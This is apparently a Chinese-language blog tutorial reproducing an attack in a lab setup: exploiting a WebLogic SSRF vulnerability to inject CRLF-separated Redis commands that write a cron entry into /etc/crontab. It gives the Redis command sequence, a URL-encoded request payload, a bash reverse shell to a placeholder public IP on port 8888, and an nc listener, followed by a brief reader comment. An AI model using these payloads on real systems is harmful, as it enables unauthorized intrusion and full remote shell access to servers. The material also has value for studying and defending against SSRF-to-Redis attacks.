[技术]利用WebLogic SSRF漏洞攻击内网Redis反弹shell
0x01 复现环境
公网上存在WebLogic服务,存在SSRF漏洞
内网中部署了一台Redis服务器,IP地址为172.21.0.2,端口6379
反弹shell需要自己的公网IP
总计两个公网IP,一个内网IP
0x02 WebLogic SSRF漏洞
WebLogic的SSRF漏洞算是一个比较知名的SSRF漏洞,具体原理可以自行谷歌。本篇主要是通过复现该漏洞来加深对SSRF漏洞的理解。
首先访问WebLogic的漏洞页面
地址为
Registries.jsp?operator= arch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+locat ion&btnSubmit=Search
那么SSRF利用中,大部分第一步肯定是进行内网的端口探测了,当然肯定有IP和端口的探测了,这里内网IP已经给出了,就直接扫端口了,简单的写了一个扫描脚本而已
扫端口得到内网Redis端口为6379,当然这是做实验所以服务是知道的,在实际过程中肯定需要进一步判断的,不过一般都是默认端口吧。。。
这次访问一下6379端口,看看页面如何
看到了下面的一个报错,其实从这个报错就可以判断这个内网Redis服务是存在的,为什么呢?
看一下2016乌云大会上猪猪侠师傅介绍的《WebLogic SSRF 服务探测》
我们得到的页面的报错语句刚好符合请求开放的服务的回显,OK,第一步完成
0x02 攻击内网Redis反弹shell
在Weblogic的SSRF中,有一个比较大的特点,就是虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
第一步探测Redis我们已经完成了,那么第二部就是发送redis命令,将弹shell脚本写入/etc/crontab中,crontab就是linux下的一个定时执行事件的一个程序,不懂的小伙伴可以自行谷歌
命令如下:
set 1 "\n\n\n\n* * * * root bash -i >& /dev/tcp/xx.xx. xx.xx[这里是你自己的公网IP]/8888[这里是你监听的端口] 0>&1\n \n\n\n" config set dir /etc/config set dbfilename crontab save
因为我们是通过GET来发送命令的,因此要将上面的命令进行URL编码,同时我们还要制定一个要写入的文件,这里我就叫做test了,最终的URL如下:
?operator= %5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev %2Ftcp%2Fxxx.xxx.xxx.xxx%2F8888%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0 Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20 crontab%0D%0Asave%0D%0A%0D%0Aaaa
在自己的公网IP上监听8888端口
nc -l 8888
然后发送请求即可反弹shell了
如果burp的右边出现了你输入的命令的回响,那么证明你发送的命令已经被服务器接受了
反弹shell成功!
ad
2020年8月20日 23:24
如何查看redis的ip地址呢?